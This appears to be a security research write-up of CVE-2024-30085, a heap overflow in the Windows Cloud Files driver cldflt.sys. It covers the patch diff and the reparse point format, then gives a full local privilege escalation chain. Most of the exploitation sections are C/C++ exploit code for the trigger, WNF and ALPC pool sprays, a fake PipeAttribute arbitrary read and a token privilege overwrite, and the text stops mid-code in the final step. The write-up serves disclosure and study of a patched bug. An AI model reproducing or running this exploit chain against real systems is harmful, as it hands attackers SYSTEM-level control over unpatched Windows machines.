TLDR

CVE-2024-30085 is a heap-based buffer overflow vulnerability affecting the Windows Cloud Files Mini Filter Driver cldflt.sys. By crafting a custom reparse point, it is possible to trigger the buffer overflow to corrupt an adjacent _WNF_STATE_DATA object. The corrupted _WNF_STATE_DATA object can be used to leak a kernel pointer from an ALPC handle table object. A second buffer overflow is then used to corrupt another _WNF_STATE_DATA object, which is then used to corrupt an adjacent PipeAttribute object. By forging a PipeAttribute object in userspace, we are able to leak the token address and override privileges to escalate privileges to NT AUTHORITY\SYSTEM.

Table of Contents

  1. Introduction to cldflt.sys
  2. Vulnerability Analysis and Patch
  3. Reparse Point Structure
  4. Triggering the Vulnerability
  5. Exploitation Overview
  6. Obtaining a Kernel Pointer Leak
  7. Arbitrary Read
  8. Privilege Escalation
  9. Exploit Demo
  10. Acknowledgements
  11. References

Introduction to cldflt.sys

cldflt.sys is the Windows Cloud Files Mini Filter Driver, which allows users to manage and sync files between a remote server and a local client. cldflt.sys works by creating placeholder files and directories, which are implemented as reparse points. Placeholders allow the actual contents of a file to reside somewhere else and be retrieved (known as “hydration”) on demand, while looking and behaving like a normal file on the system. Placeholders can be created and managed by users via the Cloud Files API.

Vulnerability Analysis and Patch

CVE-2024-30085 is a heap-based buffer overflow vulnerability discovered by Alex Birnberg from SSD Secure Disclosure, as well as Gwangun Jung and Junoh Lee from Theori. For Windows 10 22H2, this vulnerability was fixed in the KB5039211 update.

Patch diff

Looking at the patch diff, it is clear that the HsmIBitmapNORMALOpen function has been modified.

Patch diff HsmIBitmapNORMALOpen

The vulnerable driver binary is displayed on the left, and the patched driver binary is on the right. From here, we can see that an additional code block cmp r14d, 0x1000 has been added. Taking a look at part of the decompilation of the unpatched function:

if (local_70 == 0x0) || (0xffe < memcpy_size - 1) {
    Dst = ExAllocatePoolWithTag(1, 0x1000, 0x6d427348); 
    if (Dst == 0x0) {
        HsmDbgBreakOnStatus(-0x3fffff66); 
        ... // Go to error path
    }
    memcpy(Dst, local_70, memcpy_size); 
} else {
    iVar13 = *(int *)((memcpy_size - 4) + (longlong)local_70);
    if (iVar13 == -1) && (memcpy_size == 4) {
        *(uint *)(Dst + 2) = *(uint *)(Dst + 2) | 0x10; 
    } else {
        Dst = ExAllocatePoolWithTag(1, 0x1000, 0x6d427348); // Allocate a HsBm object
        if (Dst == 0x0) {
            HsmDbgBreakOnStatus(-0x3fffff66); 
            ... // Go to error path
        }
    }
    memcpy(Dst, local_70, memcpy_size); // Vulnerable memcpy, we control local_70 and memcpy_size!
    ...
}

The driver allocates a HsBm object of size 0x1000 in the paged pool, and copies data of memcpy_size to the allocated buffer. As the user is able to control the data copied, as well as the value of memcpy_size, if memcpy_size is greater than 0x1000, a heap-based buffer overflow in the paged pool will occur!

if (((int)uVar7 != 0) && (0x1000 < memcpy_size)) {
    HsmDbgBreakOnStatus(-0x3fff30fe); 
    ... // Go to error path
}

To patch the vulnerability, a check to determine if memcpy_size is less than or equal to 0x1000 was added, and the memcpy would only be called if this check passes.

Reparse Point Structure

However, in order to understand how to trigger this vulnerability, we must first understand the structure of the reparse points that the cldflt driver uses to store data.

A reparse point comprises of a reparse tag, which identifies the file system driver that owns the reparse point, and user-defined data. In this case, when we create the file used for exploitation, we will use IO_REPARSE_TAG_CLOUD_6 (0x9000601a) as the reparse tag.

The user-defined data has the following structure:

typedef struct _REPARSE_DATA_BUFFER {
    ULONG  ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    struct {
        UCHAR DataBuffer[1];
    } GenericReparseBuffer;
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;

DataBuffer has a variable size, and contains custom data set by the cloud filter driver, which takes the following format:

struct _HSM_REPARSE_DATA {
    USHORT Flags;                       
    USHORT Length;                      
    HSM_DATA FileData;                  
} HSM_REPARSE_DATA, *PHSM_REPARSE_DATA;

When cldflt.sys creates a reparse point, if the size of the data is greater than 0x100 bytes, it will compress the data using RtlCompressBuffer with COMPRESSION_FORMAT_LZNT1. Flags is set to 0x1 if no compression is involved, and 0x8001 if compression is used. Length refers to the size of the entire _HSM_REPARSE_DATA structure. FileData takes the following form:

typedef struct _HSM_DATA
{
    ULONG  Magic;                       
    ULONG  Crc32;                      
    ULONG  Length;                      
    USHORT Flags;                       
    USHORT NumberOfElements;            
    HSM_ELEMENT_INFO ElementInfos[1];   
} HSM_DATA, *PHSM_DATA;

Magic is set to 0x70527442 (“BtRp”) for bitmap data, and 0x70526546 (“FeRp”) for file data. If the CRC32 exists, it will be included in the structure. The CRC32 is calculated using RtlComputeCrc32. Length refers to the size of the entire _HSM_DATA object. Flags will be set to 0x2 if a CRC32 checksum value exists. A _HSM_DATA struct can include a number of elements, which take the following form:

typedef struct _HSM_ELEMENT_INFO
{
    USHORT Type;                        
    USHORT Length;                      
    ULONG  Offset;                      
} HSM_ELEMENT_INFO, *PHSM_ELEMENT_INFO;

Elements can have the following types:

#define HSM_ELEMENT_TYPE_NONE           0x00
#define HSM_ELEMENT_TYPE_UINT64         0x06
#define HSM_ELEMENT_TYPE_BYTE           0x07
#define HSM_ELEMENT_TYPE_UINT32         0x0a
#define HSM_ELEMENT_TYPE_BITMAP         0x11
#define HSM_ELEMENT_TYPE_MAX            0x12

Length refers to the size of the element data, and offset is relative to the start of the _HSM_DATA struct.

Triggering the Vulnerability

Let’s take a look at the code path required to trigger the vulnerability:

-> HsmFltPostCREATE
    -> HsmiFltPostECPCREATE
        -> HsmpSetupContexts
            -> HsmpCtxCreateStreamContext
                -> HsmIBitmapNORMALOpen

By opening a file containing cldflt reparse data, we are able to reach HsmpCtxCreateStreamContext. However, in order to reach HsmIBitmapNORMALOpen to trigger the vulnerable memcpy, there are certain checks that we have to pass relating to both the FeRp object as well as its nested BtRp object.

When HsmpCtxCreateStreamContext is reached, it will call HsmpRpValidateBuffer, which will perform checks on the reparse data. It first checks the length and magic of the _HSM_DATA object, before computing its CRC32. The number of elements is then checked to ensure that it is less than 0xa, which is the maximum number of elements for an FeRp object. Once initial checks have passed, the function loops over all the elements to ensure that the sum of the element offset and length does not exceed the length of the data object.

After that is complete, checks are performed on each of the elements, and usually comprise of the following:

  1. Check that the element type is within the range of allowed types (i.e. less than HSM_ELEMENT_TYPE_MAX, which is 0x12)
  2. Check the element offset
  3. Check the element size

In this case, the elements of an FeRp object must fulfil the following criteria:

  • Element 0 must be of type BYTE (0x07)
  • Element 1 must be of type UINT32 (0x0a)
  • Element 2 must be of type UINT64 (0x06)
  • Element 4 must be of type BITMAP (0x11)

HsmpBitmapIsReparseBufferSupported is then called to perform checks on the nested BtRp object. Initial checks similar to those for the FeRp object are performed, sans the CRC32 calculation. The maximum number of elements allowed for a BtRp object is 0x5. The elements must fulfil the following criteria:

  • Element 0 must be of type BYTE (0x07)
  • Element 1 must be of type BYTE (0x07)
  • Element 2 must be of type BYTE (0x07)

Once HsmpBitmapIsReparseBufferSupported is done, it returns back to HsmpRpValidateBuffer, which returns to HsmpCtxCreateStreamContext, which finally calls HsmIBitmapNORMALOpen. HsmIBitmapNORMALOpen also implements checks on the elements of the BtRp object:

  • Element 1 must be of type BYTE (0x07), and must have a value of 0x1
  • Element 2 must be of type BYTE (0x07)
  • Element 3 must be of type UINT64 (0x06)
  • Element 4 must be of type BITMAP (0x11)

Once all these conditions are fulfilled, we will finally reach the vulnerable memcpy!

In order to trigger the vulnerability, we will first have to use the Cloud Filter API to register a sync root:

    CF_SYNC_REGISTRATION CfSyncRegistration = { 0 };
    CfSyncRegistration.StructSize = sizeof(CF_SYNC_REGISTRATION);
    CfSyncRegistration.ProviderName = L"FFE4";
    CfSyncRegistration.ProviderVersion = L"1.0";
    CfSyncRegistration.ProviderId = { 0xf4d808a4, 0xa493, 0x4703, { 0xa8, 0xb8, 0xe2, 0x6a, 0x7, 0x7a, 0xd7, 0x3b } };

    CF_SYNC_POLICIES CfSyncPolicies = { 0 };
    CfSyncPolicies.StructSize = sizeof(CF_SYNC_POLICIES);
    CfSyncPolicies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
    CfSyncPolicies.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
    CfSyncPolicies.InSync = CF_INSYNC_POLICY_NONE;
    CfSyncPolicies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
    CfSyncPolicies.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_UPDATE_UNRESTRICTED;

    hRet = CfRegisterSyncRoot(SyncRoot, &CfSyncRegistration, &CfSyncPolicies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
    if (!SUCCEEDED(hRet)) {
        CfUnregisterSyncRoot(SyncRoot);
        cout << "CfRegisterSyncRoot failed! error=" << GetLastError() << endl;
        return -1;
    }
    printf("[+] CfRegisterSyncRoot success: 0x%lx\n", hRet);

We will then create our file in the sync root directory:

    HANDLE hFile1;
    CString FullFileName1 = L"c:\\windows\\temp\\test";
    hFile1 = CreateFile(FullFileName1, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile1 == INVALID_HANDLE_VALUE) {
        cout << "Open file failed! error=" << GetLastError() << endl;
        return -1;
    }
    printf("[+] Created exploit file 1: %d\n", hFile1);

Finally, we will set the reparse point data using FSCTL_SET_REPARSE_POINT_EX.

    hBool = DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT_EX, &RpBufEx, (0x28+CompressedRpBufSize), NULL, 0, NULL, NULL);
    if (hBool == 0) {
        cout << "FSCTL_SET_REPARSE_POINT_EX failed! error=" << GetLastError() << endl;
        return -1;
    }
    printf("[+] FSCTL_SET_REPARSE_POINT_EX succeeded\n");

To hit the vulnerable code path, all we need to do is to reopen the file:

    printf("[+] Opening file 1 to trigger vulnerability\n");
    hFile1 = 0;
    hFile1 = CreateFile(FullFileName1, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile1 == INVALID_HANDLE_VALUE) {
        cout << "Open file failed! error=" << GetLastError() << endl;
        return -1;
    }
    printf("[+] File 1 handle: %d\n", hFile1); 

Once the overflow occurs, the machine crashes!

Crash

Exploitation Overview

Currently, we have an overflow in the paged pool, affecting an object of size 0x1000. In order to escalate privileges, we are going to require a kernel pointer leak, and the ability to do an arbitrary write. It is also possible to trigger this vulnerability multiple times, provided that we control the memory layout so that the machine does not crash. Hence, we are going to trigger this bug twice – once to obtain a kernel leak and gain an arbitrary write primitive, and a second time to gain arbitrary read which would give us the address of token.

Here is the exploit plan:

  1. Create exploit file 1 and set custom reparse point data of size 0x1010
  2. Spray a padding _WNF_STATE_DATA spray
  3. Spray the first set of _WNF_STATE_DATA objects
  4. Poke holes by freeing every alternate _WNF_STATE_DATA object
  5. Trigger the vulnerability for the first time to reclaim one of the holes – this corrupts the _WNF_STATE_DATA object, giving us out-of-bounds read and write
  6. Spray ALPC handle tables to reclaim the rest of the holes
  7. Leak a kernel pointer via reading from the first corrupted _WNF_STATE_DATA object
  8. Create exploit file 2 and set custom reparse point data of size 0x1010
  9. Spray second padding _WNF_STATE_DATA spray
  10. Poke holes by freeing every alternate _WNF_STATE_DATA object
  11. Trigger the vulnerability for the second time to reclaim one of the holes
  12. Spray PipeAttribute to reclaim the rest of the holes
  13. Use the second corrupted _WNF_STATE_DATA object to corrupt the PipeAttribute object to point to a fake object in userland – this gives us arbitrary read
  14. Use the corrupted PipeAttribute object to obtain the address of token
  15. Use the first corrupted _WNF_STATE_DATA object to corrupt the ALPC handle table to give us arbitrary write
  16. Overwrite token privileges get full privileges!
  17. Obtain a handle to the winlogon process
  18. Pop an NT AUTHORITY\SYSTEM shell!!!

Obtaining a Kernel Pointer Leak

We will be obtaining a kernel pointer leak using two kernel objects: _WNF_STATE_DATA and _ALPC_HANDLE_TABLE.

Let’s first take a look at _WNF_STATE_DATA:

struct _WNF_STATE_DATA {
    struct _WNF_NODE_HEADER Header;                                         //0x0
    ULONG AllocatedSize;                                                    //0x4
    ULONG DataSize;                                                         //0x8
    ULONG ChangeStamp;                                                      //0xc
}; 

The Windows Notification Facility (WNF) is a undocumented kernel component used to send notifications across the system. The data used for sending notifications is stored in the _WNF_STATE_DATA object, which is allocated in the paged pool and comprises of a header of size 0x10, followed by the data right after. The maximum DataSize allowed is 0x1000, but that does not cause issues for us since we are working with objects of size 0x1000 (using a DataSize of 0xff0 would mean that the allocated WNF object has a size of 0x1000).

To prepare the _WNF_STATE_DATA spray, we can do the following:

    #define NUM_WNFSTATEDATA 0x450 
    #define WNF_MAXBUFSIZE 0x1000 
    PWNF_STATE_NAME_REGISTRATION PStateNameInfo = NULL;
    WNF_STATE_NAME StateNames[NUM_WNFSTATEDATA] = { 0 };
    PSECURITY_DESCRIPTOR pSD = nullptr;
    NTSTATUS state = 0;
    char StateData[0x1000];

    printf("[+] Prepare _WNF_STATE_DATA spray\n");
    memset(StateData, 0x41, sizeof(StateData));

    if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", SDDL_REVISION_1, &pSD, nullptr)) {
        cout << "ConvertStringSecurityDescriptorToSecurityDescriptor failed! error=" << GetLastError() << endl;
        return -1;
    }

    for (int i = 0; i < NUM_WNFSTATEDATA; i++) {
        state = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, WNF_MAXBUFSIZE, pSD);
        if (state != 0) {
            cout << "NtCreateWnfStateName failed! error=" << GetLastError() << endl;
            return -1;
        }
    }

We will spray our first _WNF_STATE_DATA spray:

    printf("[+] Spraying _WNF_STATE_DATA\n");
    for (int i = 0; i < NUM_WNFSTATEDATA; i++) {
        state = NtUpdateWnfStateData(&StateNames[i], StateData, (0x1000-0x10), 0, 0, 0, 0);
        if (state != 0) {
            cout << "NtUpdateWnfStateData failed! error=" << GetLastError() << endl;
            return -1;
        }
    }

This would result in the memory layout in the paged pool looking like this:

Memory 1

After which, we will poke holes by freeing every alternate object:

    printf("[+] Poking holes by freeing every alternate WNF object\n");
    for (int i = 0; i < NUM_WNFSTATEDATA; i = i + 2) {
        NtDeleteWnfStateData(&StateNames[i], NULL);
        state = NtDeleteWnfStateName(&StateNames[i]);
        if (state != 0) {
            return -1;
        }
    }

Memory 2

It is possible to obtain out-of-bounds read and write using the _WNF_STATE_DATA object by corrupting the DataSize field of the struct. In our case, by using the heap overflow to change DataSize from 0xff0 to 0xff8, we are able to get an 8-byte OOB read/write.

We will now open exploit file 1 to trigger the vulnerability, which will allocate our target object into one of the holes, and overflow into the adjacent _WNF_STATE_DATA object.

Memory 3

The code path that is taken results in our target object being freed, but that does not matter since the corruption of the _WNF_STATE_DATA object has already occurred. Nevertheless, this is how memory looks like after the free occurs:

Memory 4

Now let’s take a look at Advanced Local Procedure Calls (ALPC). ALPC is an undocumented internal interprocess communication facility in the Windows kernel. ShiJie Xu, Jianyang Song and Linshuang Li have developed a technique where arbitrary read and write can be obtained via a variable sized _ALPC_HANDLE_TABLE object.

struct _ALPC_HANDLE_TABLE {
    struct _ALPC_HANDLE_ENTRY* Handles;                                     //0x0
    struct _EX_PUSH_LOCK Lock;                                              //0x8
    ULONGLONG TotalHandles;                                                 //0x10
    ULONG Flags;                                                            //0x18
}; 

A _ALPC_HANDLE_TABLE object is initially allocated in the paged pool with a size of 0x80 when an ALPC port is created. Every time NtAlpcCreateResourceReserve is called, a _KALPC_RESERVE blob is created, and AlpcAddHandleTableEntry is called to add its address to the handle table.

struct _KALPC_RESERVE {
    struct _ALPC_PORT* OwnerPort;                                           //0x0
    struct _ALPC_HANDLE_TABLE* HandleTable;                                 //0x8
    VOID* Handle;                                                           //0x10
    struct _KALPC_MESSAGE* Message;                                         //0x18
    ULONGLONG Size;                                                         //0x20
    LONG Active;                                                            //0x28
}; 

Every time the handle table runs out of space, the object is reallocated and its size is doubled. This means that the handle table has a variable size, going from 0x80, 0x100, 0x200, 0x400, 0x800, 0x1000 and so on. Hence, by calling NtAlpcCreateResourceReserve a lot of times, we are able to allocate a _ALPC_HANDLE_TABLE object of size 0x1000 in the paged pool.

To prepare the ALPC handle table spray, we can use the following functions:

CONST WCHAR g_wszPortPrefix[] = L"MyPort";
HANDLE g_hResource = NULL;

BOOL CreateALPCPorts(HANDLE* phPorts, UINT portsCount) {
	ALPC_PORT_ATTRIBUTES serverPortAttr;
	OBJECT_ATTRIBUTES    oaPort;
	HANDLE               hPort;
	NTSTATUS             ntRet;
	UNICODE_STRING       usPortName;
	WCHAR				 wszPortName[64];

	for (UINT i = 0; i < portsCount; i++) {
		swprintf_s(wszPortName, sizeof(wszPortName) / sizeof(WCHAR), L"\\RPC Control\\%s%d", g_wszPortPrefix, i);
		RtlInitUnicodeString(&usPortName, wszPortName);
		InitializeObjectAttributes(&oaPort, &usPortName, 0, 0, 0);
		RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
		serverPortAttr.MaxMessageLength = MAX_MSG_LEN;
		ntRet = NtAlpcCreatePort(&phPorts[i], &oaPort, &serverPortAttr);
		if (!SUCCEEDED(ntRet))
			return FALSE;
	}
	return TRUE;
}

BOOL AllocateALPCReserveHandles(HANDLE* phPorts, UINT portsCount, UINT reservesCount) {
	HANDLE hPort;
	HANDLE hResource;
	NTSTATUS ntRet;

	for (UINT i = 0; i < portsCount; i++) {
		hPort = phPorts[i];
		for (UINT j = 0; j < reservesCount; j++) {
			ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, &hResource);
			if (!SUCCEEDED(ntRet))
				return FALSE;
			if (g_hResource == NULL) {	// save only the very first
				g_hResource = hResource;
			}
		}
	}
	return TRUE;
}

And in main:

    #define NUM_ALPC 0x800
    HANDLE ports[NUM_ALPC];
	CONST UINT portsCount = NUM_ALPC;

    printf("[+] Creating ALPC ports\n");
    bRet = CreateALPCPorts(ports, portsCount);
    if (!bRet) {
        printf("[!] CreateALPCPorts failed\n");
        return -1;
    }

To spray the ALPC handle table object:

    printf("[+] Allocating ALPC reserve handles\n");
    bRet = AllocateALPCReserveHandles(ports, portsCount, reservesCount - 1);
    if (!bRet) {
        printf("[!] CreateALPCPorts failed\n");
        return -1;
    }

On a debugger, the _ALPC_HANDLE_TABLE object looks like this:

ALPC handle table

At this point, the memory in the paged pool has the following layout:

Memory 5

To locate the corrupted _WNF_STATE_DATA object and get our kernel pointer leak, we can do the following:

    WNF_CHANGE_STAMP stamp;
    char WNFOutput[0x2000];
    unsigned long WNFOutputSize = 0x1000;
    int CorruptedWNFidx = -1; 
    state = 0;
    printf("[+] Finding corrupted WNF_STATE_DATA object\n");
    for (int i = 1; i < NUM_WNFSTATEDATA; i = i + 2) {
        memset(WNFOutput, 0x0, sizeof(WNFOutput));
        WNFOutputSize = 0x1000;
        state = NtQueryWnfStateData(&StateNames[i], NULL, NULL, &stamp, WNFOutput, &WNFOutputSize);
        printf("    idx: %d, stamp: 0x%lx, state: 0x%lx\n", i, stamp, state);
        if (stamp == 0xcafe) { 
            printf("[+] Found corrupted object idx: %d, stamp: 0x%lx, state: 0x%lx\n", i, stamp, state);
            CorruptedWNFidx = i;
            ALPC_leak = *((unsigned long long *)(WNFOutput + 0xff0));
            printf("[+] KALPC_RESERVE leak: 0x%llx\n", ALPC_leak);
            break;
        }
    }

Arbitrary Read

Now that we have a kernel pointer leak, we want to gain arbitrary read so that we can obtain the address of token. To do so, the vulnerability can be triggered a second time to overwrite a second _WNF_STATE_DATA data object. Just like before, we are going to spray _WNF_STATE_DATA, poke holes by freeing every alternate object, and then trigger the vulnerability to cause the overflow and corrupt an adjacent _WNF_STATE_DATA object. However this time, we are going to spray PipeAttribute, and use the corrupted _WNF_STATE_DATA to corrupt an adjacent PipeAttribute structure.

The PipeAttribute arbitrary read technique was introduced by Corentin Bayet and Paul Fariello in their paper Scoop the Windows 10 pool!. When a pipe is created, the user has the ability to add attributes, which are then stored as a key-value pair in a linked list. PipeAttribute is a variable sized structure, is allocated in the paged pool, and has the following form:

struct PipeAttribute { 
    LIST_ENTRY list; 
    char * AttributeName; 
    uint64_t AttributeValueSize; 
    char * AttributeValue; 
    char data[0];
}

To prepare the spray, we must first create pipes:

    printf("[+] Creating pipe objects\n");
    for (int i = 0; i < NUM_PIPEATTR; i++) {
        ret = CreatePipe((PHANDLE)&ReadPipeArr[i], (PHANDLE)&WritePipeArr[i], NULL, 0x0);
        if (ret == 0) {
            cout << "CreatePipe failed! error=" << GetLastError() << endl;
            return -1;
        }
    }

To spray PipeAttribute, we can do the following:

    memset(PipeData, 0x43, 0x20); 
    memset(PipeData+0x21, 0x43, 0x40);
    printf("[+] Spraying pipe_attribute\n"); 
    for (int i = 0; i < NUM_PIPEATTR; i++) {
        ret = NtFsControlFile(WritePipeArr[i], NULL, NULL, NULL, &status, 0x11003c, PipeData, (0x1000-0x30), PipeOutput, 0x100);
        if (ret != 0x0) {
            cout << "NtFsControlFile pipe attribute failed! error=" << GetLastError() << endl;
            return -1;
        }
    }

To read from a PipeAttribute, we can call NtFsControlFile with 0x110038 as the control code. This would return AttributeValue of size AttributeValueSize to the user. Note that if the user calls NtFsControlFile with control code 0x11003c again to modify AttributeValue, the old PipeAttribute struct will be deallocated and a new one will take its place.

    ret = NtFsControlFile(WritePipeArr[i], NULL, NULL, NULL, &status, 0x110038, PipeName, len, PipeData, 0x1000);

On Windows, due to backwards compatibility, Supervisor Mode Access Prevention (SMAP) is not enabled. Hence, it is possible for the kernel to address data in userspace. In order to achieve arbitrary read, we can use the corrupted _WNF_STATE_DATA to perform an out-of-bounds write on the Flink pointer of the LIST_ENTRY of PipeAttribute so that it points to a fake PipeAttribute struct in userland. From there, we are able to set AttributeValueSize and AttributeValue, allowing us to read from any kernel address.

We can set up our fake PipeAttribute object in userland as such:

    // Set up fake userland pipe_attribute object 
    *(unsigned long long *)(FakePipe) = (unsigned long long)FakePipe2; // Flink
    *(unsigned long long *)(FakePipe + 0x8) =  (unsigned long long)pipe_leak; // Blink
    *(unsigned long long *)(FakePipe + 0x10) = (unsigned long long)FakePipeName; // Attribute name
    *(unsigned long long *)(FakePipe + 0x18) = 0x30; // Attribute value size -- LEAK SIZE
    *(unsigned long long *)(FakePipe + 0x20) = (unsigned long long)ALPC_leak; // Attribute value -- LEAK POINTER
    *(unsigned long long *)(FakePipe + 0x28) = 0x4545454545454545; // Data

And then use our second corrupted _WNF_STATE_DATA object to perform our overwrite of the Flink pointer of the adjacent PipeAttribute object in kernel memory:

    // Using WNF object 1 to overwrite flink of pipe_attribute
    printf("[+] Using WNF object 1 to corrupt pipe_attribute\n");
    memset(StateData, 0x0, sizeof(StateData)); 
    memset(StateData, 0x47, 0x200); // Just so that it is easier to see the object
    *(unsigned long long *)(StateData + 0xff0) = (unsigned long long)FakePipe;
    state = NtUpdateWnfStateData(&SecondStateNames[CorruptedWNFidx2], StateData, 0xff8, NULL, NULL, 0xbeef, NULL); 

This is how the memory layout looks like now:

Memory 6

We can now perform our arbitrary read. The first pointer that we would want to read from is the _KALPC_RESERVE pointer that we leaked previously. By reading from _KALPC_RESERVE, we are able to obtain a pointer to an _ALPC_PORT structure:

struct _ALPC_PORT
{
    struct _LIST_ENTRY PortListEntry;                                       //0x0
    struct _ALPC_COMMUNICATION_INFO* CommunicationInfo;                     //0x10
    struct _EPROCESS* OwnerProcess;                                         //0x18
    ...
}

To perform the leak:

    printf("[+] Arbitrary read from corrupted pipe_attribute object\n"); 
    int CorruptedPipeIdx = -1;
    for (int i = 0; i < NUM_PIPEATTR; i++) {
        memset(PipeData, 0x0, sizeof(PipeData)); 
        ret = NtFsControlFile(WritePipeArr[i], NULL, NULL, NULL, &status, 0x110038, FakePipeName, (strlen(FakePipeName)+1), PipeData, 0x1000);
        if (ret == 0) {
            printf("[+] Reached fake pipe_attribute in userland\n");
            ALPC_port_leak = *((unsigned long long *)(PipeData));
            ALPC_handle_table = ((unsigned long long *)(PipeData))[1];
            ALPC_message_leak = ((unsigned long long *)(PipeData))[3]; 
            CorruptedPipeIdx = i; 
            printf("[+] ALPC port leak: 0x%llx\n", ALPC_port_leak);
            printf("[+] ALPC handle table leak: 0x%llx\n", ALPC_handle_table); 
            printf("[+] ALPC message leak: 0x%llx\n", ALPC_message_leak);
            break;
        }
    }

From the _ALPC_PORT structure, we are able to get the address of EPROCESS. As the ALPC port belongs to our current process, EPROCESS would be the struct for our current process. The pointer to token is at offset 0x4b8 from EPROCESS, and we can read from EPROCESS to obtain that.

To perform these leaks:

    // Leak EPROCESS
    printf("[+] Leaking data in ALPC_port\n"); 
    memset(PipeData, 0x0, sizeof(PipeData)); 
    *(unsigned long long *)(FakePipe + 0x18) = 0x1d8; // Attribute value size -- LEAK SIZE
    *(unsigned long long *)(FakePipe + 0x20) = (unsigned long long)(ALPC_port_leak); // Attribute value -- LEAK POINTER
    ret = NtFsControlFile(WritePipeArr[CorruptedPipeIdx], NULL, NULL, NULL, &status, 0x110038, FakePipeName, (strlen(FakePipeName)+1), PipeData, 0x1000);
    EPROCESS_leak = ((unsigned long long *)(PipeData))[3];
    printf("[+] EPROCESS leak: 0x%llx\n", EPROCESS_leak); 

    // Leak token
    int pid = GetCurrentProcessId(); 
    printf("[+] Current PID: 0x%lx\n", pid); 
    memset(PipeData, 0x0, sizeof(PipeData)); 
    *(unsigned long long *)(FakePipe + 0x18) = 0xa40; // Attribute value size -- LEAK SIZE
    *(unsigned long long *)(FakePipe + 0x20) = (unsigned long long)(EPROCESS_leak); // Attribute value -- LEAK POINTER
    ret = NtFsControlFile(WritePipeArr[CorruptedPipeIdx], NULL, NULL, NULL, &status, 0x110038, FakePipeName, (strlen(FakePipeName)+1), PipeData, 0x1000);
    token_leak = ((unsigned long long *)(PipeData))[151] & 0xFFFFFFFFFFFFFFF0; 
    printf("[+] Leaked PID: 0x%lx\n", ((unsigned long long *)(PipeData))[136]); 
    printf("[+] Leaked token: 0x%llx\n", token_leak);

Privilege Escalation

Now that we have the address of token, we can finally escalate privileges to obtain NT AUTHORITY\SYSTEM permissions!

Remember the first _WNF_STATE_DATA that we used to leak a pointer to _KALPC_RESERVE inside the ALPC handle table? We can use the same _WNF_STATE_DATA object to overwrite that pointer with a pointer to a fake _KALPC_RESERVE structure in userland. Inside the _KALPC_RESERVE, there is a pointer to _KALPC_MESSAGE:

struct _KALPC_MESSAGE {
    struct _LIST_ENTRY Entry;                                               //0x0
    struct _ALPC_PORT* PortQueue;                                           //0x10
    struct _ALPC_PORT* OwnerPort;                                           //0x18
    struct _ETHREAD* WaitingThread;                                         //0x20
    union
    {
        struct
        {
            ULONG QueueType:3;                                              //0x28
            ULONG QueuePortType:4;                                          //0x28
            ULONG Canceled:1;                                               //0x28
            ULONG Ready:1;                                                  //0x28
            ULONG ReleaseMessage:1;                                         //0x28
            ULONG SharedQuota:1;                                            //0x28
            ULONG ReplyWaitReply:1;                                         //0x28
            ULONG OwnerPortReference:1;                                     //0x28
            ULONG ReceiverReference:1;                                      //0x28
            ULONG ViewAttributeRetrieved:1;                                 //0x28
            ULONG InDispatch:1;                                             //0x28
            ULONG InCanceledQueue:1;                                        //0x28
        } s1;                                                               //0x28
        ULONG State;                                                        //0x28
    } u1;                                                                   //0x28
    LONG SequenceNo;                                                        //0x2c
    union
    {
        struct _EPROCESS* QuotaProcess;                                     //0x30
        VOID* QuotaBlock;                                                   //0x30
    };
    struct _ALPC_PORT* CancelSequencePort;                                  //0x38
    struct _ALPC_PORT* CancelQueuePort;                                     //0x40
    LONG CancelSequenceNo;                                                  //0x48
    struct _LIST_ENTRY CancelListEntry;                                     //0x50
    struct _KALPC_RESERVE* Reserve;                                         //0x60
    struct _KALPC_MESSAGE_ATTRIBUTES MessageAttributes;                     //0x68
    VOID* DataUserVa;                                                       //0xb0
    struct _ALPC_COMMUNICATION_INFO* CommunicationInfo;                     //0xb8
    struct _ALPC_PORT* ConnectionPort;                                      //0xc0
    struct _ETHREAD* ServerThread;                                          //0xc8
    VOID* WakeReference;                                                    //0xd0
    VOID* WakeReference2;                                                   //0xd8
    VOID* ExtensionBuffer;                                                  //0xe0
    ULONGLONG ExtensionBufferSize;                                          //0xe8
    struct _PORT_MESSAGE PortMessage;                                       //0xf0
}; 

Inside _KALPC_MESSAGE, there are 2 fields that are of interest to us: ExtensisonBuffer and ExtensionBufferSize. When NtAlpcSendWaitReceivePort is called, data that is controllable by the user of size ExtensionBufferSize is written to ExtensionBuffer. To obtain arbitrary write, we can have our fake _KALPC_RESERVE structure point to a fake _KALPC_MESSAGE structure (also in userland), with ExtensionBuffer set to the location which we would like to do our write!

Memory 7

In this case, we will set ExtensionBuffer to token privileges (located at offset 0x40) and ExtensionBufferSize to 0x10, so that we can write 16 \xffs which would enable all privileges:

    printf("[+] Using WNF object 1 to overwrite KALPC_RESERVE\n");
    memset(StateData, 0x0, sizeof(StateData)); 
    memset(StateData, 0x48, 0x200); // Just so that it is easier to see the object
    *(unsigned long long *)(StateData + 0xff0) = (unsigned long long)fakeKalpcReserve;
    state = NtUpdateWnfStateData(&StateNames[CorruptedWNFidx], StateData, 0xff8, NULL, NULL, 0xcafe, NULL); 

    printf("[+] Overwriting token privs\n"); 
    ULONG DataLength = 0x10;
	ALPC_MESSAGE* alpcMessage = (ALPC_MESSAGE*)calloc(1, sizeof(ALPC_MESSAGE));
    memset(alpcMessage, 0, sizeof(ALPC_MESSAGE));
    alpcMessage->PortHeader.u1.s1.DataLength = DataLength;
    alpcMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
    alpcMessage->PortHeader.MessageId = (ULONG)g_hResource;
